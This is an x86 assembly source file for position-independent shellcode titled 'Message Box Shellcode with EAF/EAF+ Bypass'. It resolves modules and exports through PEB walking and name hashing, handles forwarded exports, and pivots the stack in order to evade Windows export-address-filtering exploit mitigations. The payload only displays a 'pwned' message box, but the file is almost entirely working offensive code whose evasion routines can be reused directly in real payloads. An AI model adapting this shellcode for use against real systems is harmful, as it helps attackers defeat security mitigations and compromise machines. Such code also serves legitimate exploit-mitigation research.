;;;;MMMMMMMMMMMMMMMMMMMMMWNXK0kxdooodddooloxO0KNWMMMMMMMMMMMMMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMWXOxl:;'... ...';;,,'.....;oxOKNWMMMMMMMMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMWXOdlc:;;;:cc::;,',lxxxxo:,....,,,:lkKWMMMMMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMN0dc:::loxkO0OOkxxdl:cdOOOOxoc;',lc'..';lkXWMMMMMMMMMMMMMM ;;;;MMMMMMMMMMNkc'...';ldkkO0Oxdoc:;,,;::::cclc,:xxc,',,'';dKWMMMMMMMMMMMM ;;;;MMMMMMMMW0l,...,coddooolc;,'.... ..... .,;,cdxdl:cc,'..,dXMMMMMMMMMMM ;;;;MMMMMMMNx;....cdxdddol:;;;::cccc::::;;'.''...':looddl;'...:kNMMMMMMMMM ;;;;MMMMMMNd'...'cddxdoc::codxOO000OOOOkkxdlll,....,coxxxo:'...'oXMMMMMMMM ;;;;MMMMMNd'. .colll;,,:lddxkkdlc;;;;:::loodxo:,,'',cddxxdc,....lXMMMMMMM ;;;;MMMMNd. 'okxdl'.':looooc;'''''.......';ldddl::;,;oxxxd:'....lXMMMMMM ;;;;MMMMO, .,d0Oko' .,lddl;'',:looollll:,....;oddxo:'.,oxxxo:'....oNMMMMM ;;;;MMMWd....;xOkx; .,oOx;..;ccc:cc:;;:codc'..'lxkxc'..;oxxxl'....,kWMMMM ;;;;MMMNo....;xOkd' .:xOl'':oc;:;;:::;'.'lx:. 'oxxl,..'cdddl;'....lXMMMM ;;;;MMMXc....:xxxo. .:xkl',ll;;;,::;,;:,.,oo'. .:ddl,...,oodoc,....,OMMMM ;;;;MMMXc....,dkkd' .,oOx;,:oc,,,;;'':c,.'lo' .;ddo;...,odddl'....'xWMMM ;;;;MMMNo.. ,xOkd; ..:kOo;,:lc;,,,;:;,..:dc.. .cxxd;...,odddc'.....oNMMM ;;;;MMMWk' .,oxxdo' ..,lxkdc,,;:::::,'',cdd;...,dxkl'...cddxd:'.....oNMMM ;;;;MMMMXc....,lkkko'....,lxkxl;,''',;lodo:'...'lxxo,. 'odddo;......dWMMM ;;;;MMMMMKc....,oOOkd:. ..,:looooooolc:,... .'lddl,. .cooddc,.....,OWMMM ;;;;MMMMMWKc. .,okkkxl;.. ........... ..;cll:. .:oddxo;......cKMMMM ;;;;MMMMMMMXl....'cdxdlodl;'.. ...;col:;'. .:oodxo:......,kWMMMM ;;;;MMMMMMMMNx;....';;coxkxdol:;''',;:ccldxxxo:'....;loodxo:'......oNMMMMM ;;;;MMMMMMMMMWKd;......,cddddkkdl::ccllolc:,'.....,coodxxo:''.....cKMMMMMM ;;;;MMMMMMMMMMMWXxc,.. ..',;cloo:'',,,,'.......';:cclooc,'......:0WMMMMMM ;;;;MMMMMMMMMMMMMMN0d:.. .......,;,. .... ...,;,,;:::;'........;OWMMMMMMM ;;;;MMMMMMMMMMMMMMMMWN0xl:,......';,'......,,'''',,,'..........cKWMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMWXK0Okxxkkdcc:::::::,'........... ..:KMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xool::clll:;,''........':kWMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXOxoc:;;;::::;,,'',cdONMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xdl:;;,,,;:ok0NMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKK000KNWMMMMMMMMMMMMMMMM ;;;;----------------------------------------------------------------------; ;;;; x86 Message Box Shellcode with EAF/EAF+ Bypass ; ;;;;----------------------------------------------------------------------; ;;;; Author: Forrest Orr - 2020 ; ;;;;----------------------------------------------------------------------; ;;;; Contact: forrest.orr@protonmail.com ; ;;;;----------------------------------------------------------------------; ;;;; Licensed under GNU GPLv3 ; ;;;;______________________________________________________________________; ;;;; ## Features ; ;;;; ; ;;;; ~ Dynamic module base resolution via name hash ; ;;;; ~ EAF/EAF+ bypass ; ;;;; ~ Stable and tested on any version of Windows 7, 8.1 or 10 ; ;;;; ~ Stack pivot to original thread stack ; ;;;; ; ;;;; ## Limitations ; ;;;; ~ User32.dll must already be loded ; ;;;; ~ EAX overwritten ; ;;;;______________________________________________________________________; ;%Define DEBUG %Ifdef DEBUG Global _MessageBox32 %Endif %Include "..\..\Include\Windows.inc" Bits 32 Section .text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; MessageBoxA ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; _MessageBox32: Mov Eax, Dword [FS:0x4] ; High stack address (bottom of stack) Sub Eax, 0x1000 Xchg Eax, Esp Pushad Mov Ebp, Esp Push 0x00038f88 ; User32.dll string hash. The hashing algorithm is case insensitive (forced uppercase) Call GetModuleBase32 Push 0006b81ah ; MessageBoxA Push Eax Call ResolveExportAddress32 Push 'd' Push 'pwne' Mov Ecx, Esp Push 'net' Push 'orr.' Push 'est-' Push 'forr' Push 'www.' Mov Edx, Esp Push 0 Push Edx Push Ecx Push 0 Call Eax Mov Esp, Ebp Popad Xchg Eax, Esp Ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; GetModuleBase32 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ArgdwNameHash Equ 08h GetModuleBase32: ; First parameter = the string hash of the target module base name (not full path) Push Ebp Mov Ebp, Esp Push Edi ; Walk through the load order module list in the PEB by flink until either the initial module in the list (Ntdll.dll) is reached again, or a NULL entry is identified. Push Esi Mov Esi, TIB32.pPEB FS Lodsd Mov Eax, Dword [Eax + PEB32.pLDRData] Mov Edi, Dword [Eax + PEB_LDR_DATA32.pInLoadOrderModuleList] Mov Esi, Edi ; Esi will be my moving module entry pointer, while Edi will be a static reference to the initial load order module (should always be Ntdll.dll) Xor Eax, Eax ; If the list pointer is invalid, we still need to return 0. Jmp GetModuleBase32.CheckValidModuleEntry ; Since Esi and Edi will be equal when the loop begins, skip the Ntdll check on the first iteration. .CheckNextModuleEntry: ; Esi = current module, Edi = Ntdll module. Eax will be the module base after loop exits, assuming it was ever found Cmp Edi, Esi Je GetModuleBase32.FinalModuleEntry .CheckValidModuleEntry: Test Esi, Esi Jz GetModuleBase32.FinalModuleEntry Lea Ebx, Dword [Esi + LDR_MODULE32.usBaseDllName] Test Ebx, Ebx Jz GetModuleBase32.LoadNextModuleEntry Mov Ecx, Dword [Ebx + UNICODE_STRING32.Buffer] Test Ecx, Ecx Jz GetModuleBase32.LoadNextModuleEntry Push 1 ; Unicode string boolean Push Ecx Call GetStringHash32 Cmp Eax, Dword [Ebp + ArgdwNameHash] Je GetModuleBase32.FoundTargetModule .LoadNextModuleEntry: Xor Eax, Eax ; This will ensure we return 0 in the event the target module is not found. Mov Esi, Dword [Esi + LDR_MODULE32.LoadOrderFlink] Jmp GetModuleBase32.CheckNextModuleEntry .FoundTargetModule: Mov Eax, Dword [Esi + LDR_MODULE32.pBase] .FinalModuleEntry: Pop Esi Pop Edi Mov Esp, Ebp Pop Ebp Retn 04h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ResolveExportAddress32 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Arg_pModuleBase32 Equ 08h Arg_dwFunctionHash Equ 0Ch pImageExportTable Equ -04h pModuleBase32 Equ -08h pImageOptionalHeader32 Equ -0Ch pImageFileHeader32 Equ -10h pdwAddressOfNames32 Equ -14h pdwAddressOfFunctions32 Equ -18h pwAddressOfNameOEdinals32 Equ -1Ch dwNumberOfAttemptedHashes Equ -20h pForwardedModuleBase Equ -24h dwFunctionAddress Equ -28h pFunctionName32 Equ -2Ch dwExportTableSize Equ -30h ForwardedFunctionName Equ -130h ; 100h is 256, clean multiple of 4 for stack alignment. ForwardedModuleName Equ -230h StackSize Equ 230h ResolveExportAddress32: Bits 32 Push Ebp Mov Ebp, Esp Sub Esp, StackSize Mov Eax, Dword [Ebp + Arg_pModuleBase32] Mov Dword [Ebp + pModuleBase32], Eax Mov Edx, Dword [Ebp + pModuleBase32] Add Eax, Dword [Edx + IMAGE_DOS_HEADER.e_lfanew] Add Eax, 4 Mov Dword [Ebp + pImageFileHeader32], Eax Add Eax, IMAGE_FILE_HEADER_size Mov Dword [Ebp + pImageOptionalHeader32], Eax Mov Edx, Eax Mov Eax, Dword [Ebp + Arg_pModuleBase32] Add Eax, Dword [Edx + IMAGE_OPTIONAL_HEADER32.DataDirectory] Mov Ecx, Dword [Edx + IMAGE_OPTIONAL_HEADER32.DataDirectory + 4] ; Size field in first data directory (export address table) Mov Dword [Ebp + dwExportTableSize], Ecx Mov Dword [Ebp + pImageExportTable], Eax Mov Edx, Eax Mov Eax, Dword [Ebp + Arg_pModuleBase32] Add Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfNames] Mov Dword [Ebp + pdwAddressOfNames32], Eax Mov Edx, Dword [Ebp + pImageExportTable] Mov Eax, Dword [Ebp + Arg_pModuleBase32] Add Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] Mov Dword [Ebp + pwAddressOfNameOEdinals32], Eax Mov Edx, Dword [Ebp + pImageExportTable] Mov Eax, Dword [Ebp + Arg_pModuleBase32] Add Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] Mov Dword [Ebp + pdwAddressOfFunctions32], Eax Xor Eax, Eax Mov Dword [Ebp + dwNumberOfAttemptedHashes], Eax Mov Dword [Ebp + dwFunctionAddress], Eax ; Initialize to 0 for failed status .GetFunctionName: Mov Eax, Dword [Ebp + pImageExportTable] Mov Eax, Dword [Eax + IMAGE_EXPORT_DIRECTORY.NumberOfNames] Cmp Eax, Dword [Ebp + dwNumberOfAttemptedHashes] Jbe ResolveExportAddress32.ReturnHash Mov Eax, Dword [Ebp + dwNumberOfAttemptedHashes] Lea Ecx, Dword [Eax * 4] Mov Edx, Dword [Ebp + pdwAddressOfNames32] Mov Eax, Dword [Ebp + Arg_pModuleBase32] Add Eax, Dword [Ecx + Edx] Mov Dword [Ebp + pFunctionName32], Eax Push 0 ; Exports are always ANSI, never Unicode. Push Eax Call GetStringHash32 Cmp Eax, Dword [Ebp + Arg_dwFunctionHash] Jnz ResolveExportAddress32.NextFunctionName Mov Eax, Dword [Ebp + dwNumberOfAttemptedHashes] Lea Edx, Dword [Eax + Eax] Mov Eax, Dword [Ebp + pwAddressOfNameOEdinals32] Movzx Eax, Word [Edx + Eax] Lea Ecx, Dword [Eax * 4] Mov Edx, Dword [Ebp + pdwAddressOfFunctions32] Mov Eax, Dword [Ebp + Arg_pModuleBase32] Add Eax, Dword [Ecx + Edx] Mov Dword [Ebp + dwFunctionAddress], Eax ; We've resolved the address of the target function. However this may be a forwarder string, not code. Check and see if the address is within the export table to determine this. Mov Ecx, Dword [Ebp + pImageExportTable] Mov Edx, Ecx Add Edx, Dword [Ebp + dwExportTableSize] Cmp Eax, Ecx Jl ResolveExportAddress32.ReturnHash ; Function address below the start of the EAT? If so it's a legit function. Cmp Eax, Edx Jge ResolveExportAddress32.ReturnHash ; Function address above the end of the EAT? If so it's a legit function in this context. Mov Dword [Ebp + dwFunctionAddress], 0 ; The function address falls within the EAT. We can assume that it is a forwarder. Extract the module/function name: . Xor Ecx, Ecx ; Forwarder string counter Lea Ebx, Dword [Ebp + ForwardedModuleName] ; Initially the buffer register will point to the module name since this field comes first. .ExtractForwarder: Mov Dl, Byte [Eax + Ecx] Cmp Dl, 0 Je ResolveExportAddress32.ResolveForwarder Cmp Dl, '.' Jne ResolveExportAddress32.NextForwarderByte Mov Dword [Ebx], '.dll' ; The module name in a forwarder will not include a .dll extension. Add it so that we can generate a name hash which may match a module in the PEB loader list. Add Ebx, 4 Mov Byte [Ebx], 0 ; Finalize module name string with null terminator Lea Ebx, Dword [Ebp + ForwardedFunctionName] ; Switch the buffer register and begin building the function string Inc Ecx ; Skip the '.' seperator Jmp ResolveExportAddress32.ExtractForwarder .NextForwarderByte: Mov Byte [Ebx], Dl Inc Ecx Inc Ebx Jmp ResolveExportAddress32.ExtractForwarder .ResolveForwarder: Mov Byte [Ebx], 0 ; Finalize the function name string with a null terminator. ;Lea Edx, Dword [Ebp + ForwardedFunctionName] Lea Ebx, Dword [Ebp + ForwardedModuleName] ; Initially the buffer register will point to the module name since this field comes first. Push 0 Push Ebx Call GetStringHash32 Push Eax Call GetModuleBase32 Test Eax, Eax Jz ResolveExportAddress32.ReturnHash ; Failed to find the forwarded module in the PEB loader list. This could be because it is an API set (and these will never be in the list) or a module which simply has not been loaded yet. Mov Dword [Ebp + pForwardedModuleBase], Eax Push 0 Lea Edx, Dword [Ebp + ForwardedFunctionName] Push Edx Call GetStringHash32 Push Eax Push Dword [Ebp + pForwardedModuleBase] Call ResolveExportAddress32 Mov Dword [Ebp + dwFunctionAddress], Eax Jmp ResolveExportAddress32.ReturnHash .NextFunctionName: Lea Eax, Dword [Ebp + dwNumberOfAttemptedHashes] Inc Dword [Eax] Jmp ResolveExportAddress32.GetFunctionName .ReturnHash: Mov Eax, Dword [Ebp + dwFunctionAddress] Mov Esp, Ebp Pop Ebp Retn 08h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; GetStringHash32 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Arg_pTargetStr Equ 08h Arg_bUnicode Equ 0Ch GetStringHash32: ; First parameter = pointer to string, second parameter = boolean yes unicode or no unicode Push Ebp Mov Ebp, Esp Push Edi Mov Ecx, Dword [Ebp + Arg_pTargetStr] Mov Edi, Dword [Ebp + Arg_bUnicode] Xor Ebx, Ebx .HashNextByte: Cmp Byte [Ecx], 0 Je GetStringHash32.HashGenerated Movzx Eax, Byte [Ecx] Or Al, 60h Movzx Edx, Al Add Ebx, Edx Shl Ebx, 1 Inc Ecx Test Edi, Edi Jz GetStringHash32.HashNextByte Inc Ecx ; Skip an extra byte if this is a unicode string Jmp GetStringHash32.HashNextByte .HashGenerated: Mov Eax, Ebx Pop Edi Mov Esp, Ebp Pop Ebp Retn 08h End: